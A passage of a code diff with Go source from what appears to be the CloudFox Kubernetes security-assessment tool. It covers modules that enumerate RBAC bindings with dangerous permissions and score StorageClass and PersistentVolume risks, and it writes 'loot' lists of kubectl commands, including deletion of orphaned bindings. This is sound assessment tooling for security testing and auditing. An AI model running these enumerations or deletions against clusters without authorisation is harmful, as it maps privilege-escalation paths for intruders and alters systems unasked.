perm = fmt.Sprintf("%s verb", verb)
|
||||
}
|
||||
|
||||
if perm != "" && !seen[perm] {
|
||||
seen[perm] = true
|
||||
dangerous = append(dangerous, perm)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return dangerous
|
||||
}
|
||||
|
||||
func buildRoleBindingsTables(findings []RoleBindingFinding) []internal.TableFile {
|
||||
headers := []string{
|
||||
"Type",
|
||||
"Name",
|
||||
"Namespace",
|
||||
"Role Kind",
|
||||
"Role Name",
|
||||
"Subjects",
|
||||
"Subject Types",
|
||||
"Dangerous Permissions",
|
||||
"Flags",
|
||||
"Age",
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
|
||||
for _, f := range findings {
|
||||
// Build subjects string
|
||||
var subjectNames []string
|
||||
var subjectTypes []string
|
||||
subjectTypeSet := make(map[string]bool)
|
||||
for _, s := range f.Subjects {
|
||||
if s.Kind == "ServiceAccount" && s.Namespace != "" {
|
||||
subjectNames = append(subjectNames, fmt.Sprintf("%s/%s", s.Namespace, s.Name))
|
||||
} else {
|
||||
subjectNames = append(subjectNames, s.Name)
|
||||
}
|
||||
if !subjectTypeSet[s.Kind] {
|
||||
subjectTypeSet[s.Kind] = true
|
||||
subjectTypes = append(subjectTypes, s.Kind)
|
||||
}
|
||||
}
|
||||
|
||||
subjectsStr := strings.Join(subjectNames, ", ")
|
||||
subjectTypesStr := strings.Join(subjectTypes, ", ")
|
||||
|
||||
// Dangerous permissions
|
||||
dangerousStr := "None"
|
||||
if len(f.DangerousPermissions) > 0 {
|
||||
dangerousStr = strings.Join(f.DangerousPermissions, ", ")
|
||||
}
|
||||
|
||||
// Build flags
|
||||
var flags []string
|
||||
if f.IsClusterAdminBinding {
|
||||
flags = append(flags, "ClusterAdmin")
|
||||
} else if f.IsAdminBinding {
|
||||
flags = append(flags, "Admin")
|
||||
}
|
||||
if f.BindsToDefaultSA {
|
||||
flags = append(flags, "DefaultSA")
|
||||
}
|
||||
if f.BindsToAllSAs {
|
||||
flags = append(flags, "AllSAs")
|
||||
}
|
||||
if f.OrphanedBinding {
|
||||
flags = append(flags, "Orphaned")
|
||||
}
|
||||
|
||||
flagsStr := ""
|
||||
if len(flags) > 0 {
|
||||
flagsStr = strings.Join(flags, ", ")
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
f.Type,
|
||||
f.Name,
|
||||
f.Namespace,
|
||||
f.RoleRefKind,
|
||||
f.RoleRefName,
|
||||
subjectsStr,
|
||||
subjectTypesStr,
|
||||
dangerousStr,
|
||||
k8sinternal.NonEmpty(flagsStr),
|
||||
f.Age,
|
||||
})
|
||||
}
|
||||
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "RoleBindings",
|
||||
Header: headers,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func buildRoleBindingsLoot(findings []RoleBindingFinding) []internal.LootFile {
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
section := loot.Section("RoleBindings-Commands")
|
||||
section.SetHeader(`# ===========================================
|
||||
# Role Bindings Enumeration Commands
|
||||
# ===========================================`)
|
||||
|
||||
if globals.KubeContext != "" {
|
||||
section.AddBlank().Addf("kubectl config use-context %s", globals.KubeContext)
|
||||
}
|
||||
|
||||
// Basic enumeration commands
|
||||
section.AddBlank().
|
||||
Add("# List all ClusterRoleBindings:").
|
||||
Add("kubectl get clusterrolebindings").
|
||||
AddBlank().
|
||||
Add("# List all RoleBindings in all namespaces:").
|
||||
Add("kubectl get rolebindings -A").
|
||||
AddBlank().
|
||||
Add("# Get detailed info on a binding:").
|
||||
Add("kubectl describe clusterrolebinding <name>").
|
||||
Add("kubectl describe rolebinding <name> -n <namespace>")
|
||||
|
||||
// Admin bindings section
|
||||
var adminBindings []RoleBindingFinding
|
||||
for _, f := range findings {
|
||||
if f.IsClusterAdminBinding || f.IsAdminBinding {
|
||||
adminBindings = append(adminBindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
if len(adminBindings) > 0 {
|
||||
section.AddBlank().
|
||||
Add("# -------------------------------------------").
|
||||
Add("# Admin/Cluster-Admin Bindings").
|
||||
Add("# -------------------------------------------")
|
||||
|
||||
for _, f := range adminBindings {
|
||||
section.AddBlank()
|
||||
if f.Type == "ClusterRoleBinding" {
|
||||
section.Addf("# %s (ClusterRoleBinding) -> %s", f.Name, f.RoleRefName)
|
||||
section.Addf("kubectl describe clusterrolebinding %s", f.Name)
|
||||
} else {
|
||||
section.Addf("# %s (RoleBinding in %s) -> %s", f.Name, f.Namespace, f.RoleRefName)
|
||||
section.Addf("kubectl describe rolebinding %s -n %s", f.Name, f.Namespace)
|
||||
}
|
||||
for _, s := range f.Subjects {
|
||||
if s.Kind == "ServiceAccount" {
|
||||
section.Addf("# Subject: ServiceAccount %s/%s", s.Namespace, s.Name)
|
||||
} else {
|
||||
section.Addf("# Subject: %s %s", s.Kind, s.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Dangerous permissions section
|
||||
var dangerousBindings []RoleBindingFinding
|
||||
for _, f := range findings {
|
||||
if len(f.DangerousPermissions) > 0 && !f.IsClusterAdminBinding {
|
||||
dangerousBindings = append(dangerousBindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
if len(dangerousBindings) > 0 {
|
||||
section.AddBlank().
|
||||
Add("# -------------------------------------------").
|
||||
Add("# Bindings with Dangerous Permissions").
|
||||
Add("# -------------------------------------------")
|
||||
|
||||
for _, f := range dangerousBindings {
|
||||
section.AddBlank().
|
||||
Addf("# %s (%s)", f.Name, f.Type)
|
||||
section.Addf("# Permissions: %s", strings.Join(f.DangerousPermissions, ", "))
|
||||
if f.Type == "ClusterRoleBinding" {
|
||||
section.Addf("kubectl describe clusterrolebinding %s", f.Name)
|
||||
section.Addf("kubectl describe clusterrole %s", f.RoleRefName)
|
||||
} else {
|
||||
section.Addf("kubectl describe rolebinding %s -n %s", f.Name, f.Namespace)
|
||||
if f.RoleRefKind == "ClusterRole" {
|
||||
section.Addf("kubectl describe clusterrole %s", f.RoleRefName)
|
||||
} else {
|
||||
section.Addf("kubectl describe role %s -n %s", f.RoleRefName, f.Namespace)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Default SA bindings section
|
||||
var defaultSABindings []RoleBindingFinding
|
||||
for _, f := range findings {
|
||||
if f.BindsToDefaultSA {
|
||||
defaultSABindings = append(defaultSABindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
if len(defaultSABindings) > 0 {
|
||||
section.AddBlank().
|
||||
Add("# -------------------------------------------").
|
||||
Add("# Bindings to Default ServiceAccount").
|
||||
Add("# -------------------------------------------").
|
||||
Add("# WARNING: Binding permissions to default SA affects all pods that don't specify a SA")
|
||||
|
||||
for _, f := range defaultSABindings {
|
||||
section.AddBlank().
|
||||
Addf("# %s -> %s", f.Name, f.RoleRefName)
|
||||
}
|
||||
}
|
||||
|
||||
// All SAs bindings section
|
||||
var allSABindings []RoleBindingFinding
|
||||
for _, f := range findings {
|
||||
if f.BindsToAllSAs {
|
||||
allSABindings = append(allSABindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
if len(allSABindings) > 0 {
|
||||
section.AddBlank().
|
||||
Add("# -------------------------------------------").
|
||||
Add("# Bindings to All ServiceAccounts/Users").
|
||||
Add("# -------------------------------------------").
|
||||
Add("# WARNING: These bindings grant permissions to all SAs or authenticated users")
|
||||
|
||||
for _, f := range allSABindings {
|
||||
section.AddBlank().
|
||||
Addf("# %s -> %s", f.Name, f.RoleRefName)
|
||||
for _, s := range f.Subjects {
|
||||
if s.Kind == "Group" {
|
||||
section.Addf("# Group: %s", s.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Orphaned bindings section
|
||||
var orphanedBindings []RoleBindingFinding
|
||||
for _, f := range findings {
|
||||
if f.OrphanedBinding {
|
||||
orphanedBindings = append(orphanedBindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
if len(orphanedBindings) > 0 {
|
||||
section.AddBlank().
|
||||
Add("# -------------------------------------------").
|
||||
Add("# Orphaned Bindings (Role Not Found)").
|
||||
Add("# -------------------------------------------").
|
||||
Add("# These bindings reference roles that don't exist")
|
||||
|
||||
for _, f := range orphanedBindings {
|
||||
section.AddBlank().
|
||||
Addf("# %s -> %s (missing)", f.Name, f.RoleRefName)
|
||||
if f.Type == "ClusterRoleBinding" {
|
||||
section.Addf("kubectl delete clusterrolebinding %s", f.Name)
|
||||
} else {
|
||||
section.Addf("kubectl delete rolebinding %s -n %s", f.Name, f.Namespace)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return loot.Build()
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,743 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
storagev1 "k8s.io/api/storage/v1"
|
||||
)
|
||||
|
||||
var StorageClassesCmd = &cobra.Command{
|
||||
Use: "storageclasses",
|
||||
Aliases: []string{"sc", "storage"},
|
||||
Short: "Enumerate StorageClasses with security analysis",
|
||||
Long: `
|
||||
Enumerate StorageClasses with comprehensive security analysis including:
|
||||
- Unencrypted storage classes (data-at-rest encryption)
|
||||
- Volume expansion attack risks (allowVolumeExpansion enabled)
|
||||
- Data retention risks (reclaimPolicy Delete = data loss)
|
||||
- Default StorageClass gaps (missing defaults)
|
||||
- Cloud provider security (CSI driver vulnerabilities)
|
||||
- Access mode risks (ReadWriteMany = lateral movement)
|
||||
- Volume binding mode analysis (Immediate vs WaitForFirstConsumer)
|
||||
- Cost optimization (expensive storage without quotas)
|
||||
- PersistentVolume usage analysis
|
||||
- Risk scoring based on security exposure
|
||||
|
||||
cloudfox kubernetes storageclasses`,
|
||||
Run: ListStorageClasses,
|
||||
}
|
||||
|
||||
type StorageClassesOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t StorageClassesOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t StorageClassesOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type SCSecurityAnalysis struct {
|
||||
Name string
|
||||
Provisioner string
|
||||
ReclaimPolicy string
|
||||
VolumeBindingMode string
|
||||
AllowVolumeExpansion bool
|
||||
IsDefault bool
|
||||
MountOptions []string
|
||||
Parameters map[string]string
|
||||
AllowedTopologies string
|
||||
IsEncrypted bool
|
||||
EncryptionType string
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
PVsUsingClass int
|
||||
TotalStorageGB float64
|
||||
CostRisk string
|
||||
DataRetentionRisk bool
|
||||
CloudProvider string
|
||||
}
|
||||
|
||||
type PVStorageAnalysis struct {
|
||||
Namespace string
|
||||
PVCName string
|
||||
PVName string
|
||||
StorageClass string
|
||||
Capacity string
|
||||
AccessModes []string
|
||||
ReclaimPolicy string
|
||||
Status string
|
||||
VolumeMode string
|
||||
IsEncrypted bool
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
MountedPods []string
|
||||
SensitiveData bool
|
||||
}
|
||||
|
||||
const (
|
||||
StorageRiskCritical = shared.RiskCritical
|
||||
StorageRiskHigh = shared.RiskHigh
|
||||
StorageRiskMedium = shared.RiskMedium
|
||||
StorageRiskLow = shared.RiskLow
|
||||
)
|
||||
|
||||
func ListStorageClasses(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating storage classes for %s", globals.ClusterName), globals.K8S_STORAGECLASSES_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Fetch StorageClasses (cached)
|
||||
storageClassesList, err := sdk.GetStorageClasses(ctx, clientset)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Error fetching StorageClasses: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Fetch PersistentVolumes for usage analysis (cached)
|
||||
pvsList, err := sdk.GetPersistentVolumes(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching PersistentVolumes: %v", err), globals.K8S_STORAGECLASSES_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Fetch pods for PVC usage (cached)
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Error fetching Pods: %v\n", err)
|
||||
return
|
||||
}
|
||||
// Filter by target namespace
|
||||
targetNS := shared.GetNamespaceOrAll()
|
||||
var pods []corev1.Pod
|
||||
for _, pod := range allPods {
|
||||
if targetNS == "" || pod.Namespace == targetNS {
|
||||
pods = append(pods, pod)
|
||||
}
|
||||
}
|
||||
|
||||
var storageAnalyses []SCSecurityAnalysis
|
||||
var pvAnalyses []PVStorageAnalysis
|
||||
|
||||
// Initialize loot builder
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Build PVC to Pod mapping
|
||||
pvcToPods := buildPVCPodMapping(pods)
|
||||
|
||||
// Analyze each StorageClass
|
||||
for _, sc := range storageClassesList {
|
||||
analysis := SCSecurityAnalysis{
|
||||
Name: sc.Name,
|
||||
Provisioner: sc.Provisioner,
|
||||
ReclaimPolicy: reclaimPolicyPtrToString(sc.ReclaimPolicy),
|
||||
VolumeBindingMode: volumeBindingModePtrToString(sc.VolumeBindingMode),
|
||||
AllowVolumeExpansion: boolPtrToBool(sc.AllowVolumeExpansion),
|
||||
IsDefault: isDefaultStorageClass(&sc),
|
||||
MountOptions: sc.MountOptions,
|
||||
Parameters: sc.Parameters,
|
||||
}
|
||||
|
||||
// Analyze encryption
|
||||
analysis.IsEncrypted, analysis.EncryptionType = analyzeStorageEncryption(&sc)
|
||||
analysis.CloudProvider = scDetectCloudProvider(sc.Provisioner)
|
||||
|
||||
// Analyze PVs using this StorageClass
|
||||
analysis.PVsUsingClass, analysis.TotalStorageGB = analyzePVsForStorageClass(sc.Name, pvsList)
|
||||
|
||||
// Security analysis
|
||||
issues := analyzeSCSecurityIssues(&analysis)
|
||||
analysis.SecurityIssues = issues
|
||||
|
||||
// Calculate risk score
|
||||
analysis.RiskScore = calculateStorageRiskScore(&analysis)
|
||||
analysis.RiskLevel = storageRiskScoreToLevel(analysis.RiskScore)
|
||||
|
||||
// Categorize for loot files
|
||||
if !analysis.IsEncrypted {
|
||||
loot.Section("Unencrypted-Storage").Add(formatUnencryptedSC(&analysis))
|
||||
}
|
||||
if analysis.AllowVolumeExpansion {
|
||||
loot.Section("Volume-Expansion-Risks").Add(formatVolumeExpansionRisk(&analysis))
|
||||
}
|
||||
if analysis.DataRetentionRisk {
|
||||
loot.Section("Data-Retention-Risks").Add(formatDataRetentionRisk(&analysis))
|
||||
}
|
||||
if analysis.RiskScore >= 70 {
|
||||
loot.Section("High-Risk-Storage").Add(formatHighRiskStorage(&analysis))
|
||||
}
|
||||
if analysis.CostRisk == shared.RiskHigh || analysis.CostRisk == shared.RiskCritical {
|
||||
loot.Section("Cost-Optimization").Add(formatCostOptimization(&analysis))
|
||||
}
|
||||
|
||||
storageAnalyses = append(storageAnalyses, analysis)
|
||||
}
|
||||
|
||||
// Analyze PersistentVolumes
|
||||
for _, pv := range pvsList {
|
||||
pvAnalysis := PVStorageAnalysis{
|
||||
PVName: pv.Name,
|
||||
StorageClass: pv.Spec.StorageClassName,
|
||||
Capacity: pv.Spec.Capacity.Storage().String(),
|
||||
AccessModes: accessModesToStrings(pv.Spec.AccessModes),
|
||||
ReclaimPolicy: string(pv.Spec.PersistentVolumeReclaimPolicy),
|
||||
Status: string(pv.Status.Phase),
|
||||
VolumeMode: volumeModeToString(pv.Spec.VolumeMode),
|
||||
}
|
||||
|
||||
// Find PVC and namespace
|
||||
if pv.Spec.ClaimRef != nil {
|
||||
pvAnalysis.Namespace = pv.Spec.ClaimRef.Namespace
|
||||
pvAnalysis.PVCName = pv.Spec.ClaimRef.Name
|
||||
|
||||
// Find pods using this PVC
|
||||
pvcKey := fmt.Sprintf("%s/%s", pvAnalysis.Namespace, pvAnalysis.PVCName)
|
||||
if podList, exists := pvcToPods[pvcKey]; exists {
|
||||
pvAnalysis.MountedPods = podList
|
||||
}
|
||||
}
|
||||
|
||||
// Check encryption (inherit from StorageClass analysis)
|
||||
pvAnalysis.IsEncrypted = isPVEncrypted(&pv, storageAnalyses)
|
||||
|
||||
// Security analysis
|
||||
pvIssues := analyzePVSecurity(&pvAnalysis)
|
||||
pvAnalysis.SecurityIssues = pvIssues
|
||||
|
||||
// Calculate risk
|
||||
pvAnalysis.RiskScore = calculatePVRiskScore(&pvAnalysis)
|
||||
pvAnalysis.RiskLevel = storageRiskScoreToLevel(pvAnalysis.RiskScore)
|
||||
|
||||
pvAnalyses = append(pvAnalyses, pvAnalysis)
|
||||
}
|
||||
|
||||
// Add StorageClass-Enum section
|
||||
loot.Section("StorageClass-Enum").Add(formatStorageClassEnum(storageAnalyses))
|
||||
|
||||
// Add Remediation-Guide section
|
||||
loot.Section("Remediation-Guide").Add(generateStorageRemediationGuide(storageAnalyses))
|
||||
|
||||
// Generate loot files
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Generate tables
|
||||
storageClassTable := generateStorageClassTable(storageAnalyses)
|
||||
pvTable := generatePVTable(pvAnalyses)
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"StorageClasses",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
StorageClassesOutput{
|
||||
Table: []internal.TableFile{storageClassTable, pvTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_STORAGECLASSES_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary logging
|
||||
if len(storageAnalyses) > 0 {
|
||||
encryptedCount := 0
|
||||
for _, sc := range storageAnalyses {
|
||||
if sc.IsEncrypted {
|
||||
encryptedCount++
|
||||
}
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("%d StorageClasses analyzed | Encrypted: %d | Unencrypted: %d",
|
||||
len(storageAnalyses), encryptedCount, len(storageAnalyses)-encryptedCount),
|
||||
globals.K8S_STORAGECLASSES_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No StorageClasses found", globals.K8S_STORAGECLASSES_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func analyzeSCSecurityIssues(analysis *SCSecurityAnalysis) []string {
|
||||
var issues []string
|
||||
|
||||
// CRITICAL: Unencrypted storage
|
||||
if !analysis.IsEncrypted {
|
||||
issues = append(issues, "CRITICAL: StorageClass does not enforce encryption (data-at-rest risk)")
|
||||
}
|
||||
|
||||
// CRITICAL: Volume expansion enabled without RBAC controls
|
||||
if analysis.AllowVolumeExpansion {
|
||||
issues = append(issues, "HIGH: Volume expansion enabled (potential DoS via storage exhaustion)")
|
||||
}
|
||||
|
||||
// HIGH: Delete reclaim policy
|
||||
if analysis.ReclaimPolicy == "Delete" {
|
||||
issues = append(issues, "HIGH: Reclaim policy 'Delete' - data lost when PV released")
|
||||
analysis.DataRetentionRisk = true
|
||||
}
|
||||
|
||||
// HIGH: No default StorageClass
|
||||
if len(analysis.Name) > 0 && !hasDefaultStorageClass(analysis.Name) {
|
||||
// This check is done globally elsewhere
|
||||
}
|
||||
|
||||
// MEDIUM: Immediate volume binding (resource waste)
|
||||
if analysis.VolumeBindingMode == "Immediate" {
|
||||
issues = append(issues, "MEDIUM: Immediate volume binding (may create unattached volumes)")
|
||||
}
|
||||
|
||||
// Cost analysis
|
||||
if strings.Contains(strings.ToLower(analysis.Provisioner), "premium") ||
|
||||
strings.Contains(strings.ToLower(analysis.Name), "premium") ||
|
||||
strings.Contains(strings.ToLower(analysis.Name), "ssd") {
|
||||
if analysis.TotalStorageGB > 100 {
|
||||
analysis.CostRisk = shared.RiskHigh
|
||||
issues = append(issues, fmt.Sprintf("HIGH: Expensive storage (%.1fGB on premium/SSD)", analysis.TotalStorageGB))
|
||||
} else {
|
||||
analysis.CostRisk = shared.RiskMedium
|
||||
}
|
||||
}
|
||||
|
||||
// Cloud-specific security checks
|
||||
if analysis.CloudProvider == "AWS" {
|
||||
if analysis.Parameters["encrypted"] != "true" {
|
||||
issues = append(issues, "CRITICAL: AWS EBS volume not encrypted")
|
||||
}
|
||||
} else if analysis.CloudProvider == "GCP" {
|
||||
// GCP encrypts by default, but check for customer-managed keys
|
||||
if analysis.Parameters["disk-encryption-kms-key"] == "" {
|
||||
issues = append(issues, "MEDIUM: GCP persistent disk using Google-managed encryption (consider CMEK)")
|
||||
}
|
||||
} else if analysis.CloudProvider == "Azure" {
|
||||
if analysis.Parameters["encryption"] != "true" {
|
||||
issues = append(issues, "CRITICAL: Azure Disk not encrypted")
|
||||
}
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func analyzeStorageEncryption(sc *storagev1.StorageClass) (bool, string) {
|
||||
// Check provisioner-specific encryption
|
||||
provisioner := strings.ToLower(sc.Provisioner)
|
||||
params := sc.Parameters
|
||||
|
||||
// AWS EBS
|
||||
if strings.Contains(provisioner, "aws") || strings.Contains(provisioner, "ebs") {
|
||||
if params["encrypted"] == "true" {
|
||||
return true, "AWS-EBS-Encrypted"
|
||||
}
|
||||
return false, "AWS-EBS-Unencrypted"
|
||||
}
|
||||
|
||||
// GCP PD (encrypted by default)
|
||||
if strings.Contains(provisioner, "gcp") || strings.Contains(provisioner, "gce") || strings.Contains(provisioner, "pd.csi.storage.gke.io") {
|
||||
if params["disk-encryption-kms-key"] != "" {
|
||||
return true, "GCP-CMEK"
|
||||
}
|
||||
return true, "GCP-Default-Encryption"
|
||||
}
|
||||
|
||||
// Azure Disk
|
||||
if strings.Contains(provisioner, "azure") || strings.Contains(provisioner, "disk.csi.azure.com") {
|
||||
if params["encryption"] == "true" || params["diskEncryptionSetID"] != "" {
|
||||
return true, "Azure-Disk-Encrypted"
|
||||
}
|
||||
return false, "Azure-Disk-Unencrypted"
|
||||
}
|
||||
|
||||
// CSI drivers with encryption parameter
|
||||
if params["encrypted"] == "true" || params["encryption"] == "true" {
|
||||
return true, "CSI-Encrypted"
|
||||
}
|
||||
|
||||
// Default: assume unencrypted if not explicitly specified
|
||||
return false, "Unknown-Encryption"
|
||||
}
|
||||
|
||||
func scDetectCloudProvider(provisioner string) string {
|
||||
provisioner = strings.ToLower(provisioner)
|
||||
if strings.Contains(provisioner, "aws") || strings.Contains(provisioner, "ebs") {
|
||||
return "AWS"
|
||||
} else if strings.Contains(provisioner, "gcp") || strings.Contains(provisioner, "gce") || strings.Contains(provisioner, "gke") {
|
||||
return "GCP"
|
||||
} else if strings.Contains(provisioner, "azure") {
|
||||
return "Azure"
|
||||
} else if strings.Contains(provisioner, "csi") {
|
||||
return "CSI"
|
||||
}
|
||||
return "Unknown"
|
||||
}
|
||||
|
||||
func analyzePVsForStorageClass(scName string, pvs []corev1.PersistentVolume) (int, float64) {
|
||||
count := 0
|
||||
var totalGB float64
|
||||
|
||||
for _, pv := range pvs {
|
||||
if pv.Spec.StorageClassName == scName {
|
||||
count++
|
||||
if storage := pv.Spec.Capacity.Storage(); storage != nil {
|
||||
totalGB += float64(storage.Value()) / (1024 * 1024 * 1024)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return count, totalGB
|
||||
}
|
||||
|
||||
func analyzePVSecurity(pv *PVStorageAnalysis) []string {
|
||||
var issues []string
|
||||
|
||||
// Unencrypted PV
|
||||
if !pv.IsEncrypted {
|
||||
issues = append(issues, "CRITICAL: PersistentVolume not encrypted (data-at-rest exposure)")
|
||||
pv.SensitiveData = true
|
||||
}
|
||||
|
||||
// ReadWriteMany access mode (lateral movement risk)
|
||||
for _, mode := range pv.AccessModes {
|
||||
if mode == "ReadWriteMany" {
|
||||
issues = append(issues, "HIGH: ReadWriteMany access mode (multi-pod access, lateral movement risk)")
|
||||
}
|
||||
}
|
||||
|
||||
// Delete reclaim policy
|
||||
if pv.ReclaimPolicy == "Delete" {
|
||||
issues = append(issues, "HIGH: Reclaim policy Delete (data loss when PVC deleted)")
|
||||
}
|
||||
|
||||
// Multiple pods mounting same PV
|
||||
if len(pv.MountedPods) > 1 {
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: PV mounted by %d pods (shared data access)", len(pv.MountedPods)))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func calculateStorageRiskScore(analysis *SCSecurityAnalysis) int {
|
||||
score := 0
|
||||
|
||||
// Encryption (critical)
|
||||
if !analysis.IsEncrypted {
|
||||
score += 40
|
||||
}
|
||||
|
||||
// Volume expansion risk
|
||||
if analysis.AllowVolumeExpansion {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Data retention risk
|
||||
if analysis.DataRetentionRisk {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Cost risk
|
||||
if analysis.CostRisk == shared.RiskCritical {
|
||||
score += 15
|
||||
} else if analysis.CostRisk == shared.RiskHigh {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Volume binding mode
|
||||
if analysis.VolumeBindingMode == "Immediate" {
|
||||
score += 5
|
||||
}
|
||||
|
||||
// High storage usage
|
||||
if analysis.TotalStorageGB > 500 {
|
||||
score += 10
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func calculatePVRiskScore(pv *PVStorageAnalysis) int {
|
||||
score := 0
|
||||
|
||||
// Encryption
|
||||
if !pv.IsEncrypted {
|
||||
score += 40
|
||||
}
|
||||
|
||||
// Access modes
|
||||
for _, mode := range pv.AccessModes {
|
||||
if mode == "ReadWriteMany" {
|
||||
score += 25
|
||||
}
|
||||
}
|
||||
|
||||
// Reclaim policy
|
||||
if pv.ReclaimPolicy == "Delete" {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Multiple pods
|
||||
if len(pv.MountedPods) > 1 {
|
||||
score += 10
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func storageRiskScoreToLevel(score int) string {
|
||||
if score >= 80 {
|
||||
return StorageRiskCritical
|
||||
} else if score >= 60 {
|
||||
return StorageRiskHigh
|
||||
} else if score >= 30 {
|
||||
return StorageRiskMedium
|
||||
}
|
||||
return StorageRiskLow
|
||||
}
|
||||
|
||||
func buildPVCPodMapping(pods []corev1.Pod) map[string][]string {
|
||||
pvcToPods := make(map[string][]string)
|
||||
|
||||
for _, pod := range pods {
|
||||
for _, vol := range pod.Spec.Volumes {
|
||||
if vol.PersistentVolumeClaim != nil {
|
||||
pvcKey := fmt.Sprintf("%s/%s", pod.Namespace, vol.PersistentVolumeClaim.ClaimName)
|
||||
podName := fmt.Sprintf("%s/%s", pod.Namespace, pod.Name)
|
||||
pvcToPods[pvcKey] = append(pvcToPods[pvcKey], podName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return pvcToPods
|
||||
}
|
||||
|
||||
func isPVEncrypted(pv *corev1.PersistentVolume, storageAnalyses []SCSecurityAnalysis) bool {
|
||||
// Look up encryption status from StorageClass analysis
|
||||
for _, sc := range storageAnalyses {
|
||||
if sc.Name == pv.Spec.StorageClassName {
|
||||
return sc.IsEncrypted
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Formatting functions
|
||||
func formatUnencryptedSC(analysis *SCSecurityAnalysis) string {
|
||||
return fmt.Sprintf("[%s] StorageClass: %s | Provisioner: %s | PVs: %d | Storage: %.1fGB | Risk: %s",
|
||||
analysis.RiskLevel, analysis.Name, analysis.Provisioner, analysis.PVsUsingClass, analysis.TotalStorageGB, analysis.EncryptionType)
|
||||
}
|
||||
|
||||
func formatVolumeExpansionRisk(analysis *SCSecurityAnalysis) string {
|
||||
return fmt.Sprintf("[RISK] StorageClass: %s | Expansion: Enabled | PVs: %d | Mitigation: Review RBAC for persistentvolumeclaims/resize",
|
||||
analysis.Name, analysis.PVsUsingClass)
|
||||
}
|
||||
|
||||
func formatDataRetentionRisk(analysis *SCSecurityAnalysis) string {
|
||||
return fmt.Sprintf("[RISK] StorageClass: %s | ReclaimPolicy: Delete | PVs: %d | Data Loss Risk: PVs deleted when PVC removed",
|
||||
analysis.Name, analysis.PVsUsingClass)
|
||||
}
|
||||
|
||||
func formatHighRiskStorage(analysis *SCSecurityAnalysis) string {
|
||||
return fmt.Sprintf("[%s] StorageClass: %s | Score: %d/100 | Issues: %s",
|
||||
